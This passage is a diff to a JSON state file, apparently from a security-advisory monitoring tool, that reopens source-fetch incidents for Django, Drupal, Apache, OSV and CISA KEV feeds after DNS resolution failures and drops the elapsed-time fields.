"network", "last_failure": { @@ -49,8 +48,7 @@ "message": "HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://helpx.adobe.com/security/products/magento.html", - "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.474 + "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -59,10 +57,10 @@ "display_name": "Angular", "source_name": "OSV Angular", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -76,8 +74,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.226 + "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -86,10 +83,10 @@ "display_name": "Apache HTTP Server", "source_name": "Apache HTTPD Security", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -103,8 +100,7 @@ "message": "HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://httpd.apache.org/security/vulnerabilities_24.html", - "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.653 + "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -113,10 +109,10 @@ "display_name": "Apache HTTP Server", "source_name": "CISA KEV Apache HTTPD", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -130,8 +126,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.753 + "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -140,10 +135,10 @@ "display_name": "Apache Tomcat", "source_name": "Apache Tomcat Security", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -157,8 +152,7 @@ "message": "HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://tomcat.apache.org/security-10.html", - "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.642 + "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -167,10 +161,10 @@ "display_name": "Apache Tomcat", "source_name": "CISA KEV Tomcat", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -184,8 +178,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.753 + "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -194,10 +187,10 @@ "display_name": "ASP.NET Core", "source_name": "OSV ASP.NET Core", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -211,8 +204,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.947 + "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -221,10 +213,10 @@ "display_name": "Astro", "source_name": "OSV Astro", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -238,8 +230,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.133 + "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -248,10 +239,10 @@ "display_name": "Caddy", "source_name": "OSV Caddy", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -265,8 +256,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.653 + "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -275,10 +265,10 @@ "display_name": "Directus", "source_name": "Directus GitHub Advisories", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -292,8 +282,7 @@ "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://github.com/directus/directus/security/advisories", - "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.725 + "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -302,10 +291,10 @@ "display_name": "Directus", "source_name": "OSV Directus", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -319,8 +308,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -329,10 +317,10 @@ "display_name": "Discourse", "source_name": "Discourse Release Notes RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -346,8 +334,7 @@ "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://meta.discourse.org/tag/release-notes.rss", - "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.716 + "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -356,10 +343,10 @@ "display_name": "Discourse", "source_name": "Discourse Security RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -373,8 +360,7 @@ "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://meta.discourse.org/tag/security.rss", - "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.722 + "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -383,10 +369,10 @@ "display_name": "Discourse", "source_name": "OSV Discourse", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -400,8 +386,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.474 + "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -410,10 +395,10 @@ "display_name": "Django", "source_name": "Django Security Releases Archive", "source_kind": "vendor-index", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -427,8 +412,7 @@ "message": "HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://docs.djangoproject.com/en/dev/releases/security/", - "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.926 + "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -437,10 +421,10 @@ "display_name": "Django", "source_name": "Django Security Weblog", "source_kind": "vendor-index", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -454,8 +438,7 @@ "message": "HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.djangoproject.com/weblog/", - "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.868 + "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -464,10 +447,10 @@ "display_name": "Django", "source_name": "OSV Django", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -481,8 +464,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.919 + "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -491,10 +473,10 @@ "display_name": "Drupal", "source_name": "Drupal Security Advisories RSS", "source_kind": "rss-feed", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -508,8 +490,7 @@ "message": "HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.drupal.org/security/rss.xml", - "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.703 + "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -518,10 +499,10 @@ "display_name": "Drupal", "source_name": "OSV Drupal", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -535,8 +516,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 1.727 + "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -545,10 +525,10 @@ "display_name": "Echo", "source_name": "OSV Echo", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -562,8 +542,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.926 + "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -572,10 +551,10 @@ "display_name": "esbuild", "source_name": "OSV esbuild", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -589,8 +568,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "esbuild::OSV esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.855 + "summary": "esbuild::OSV 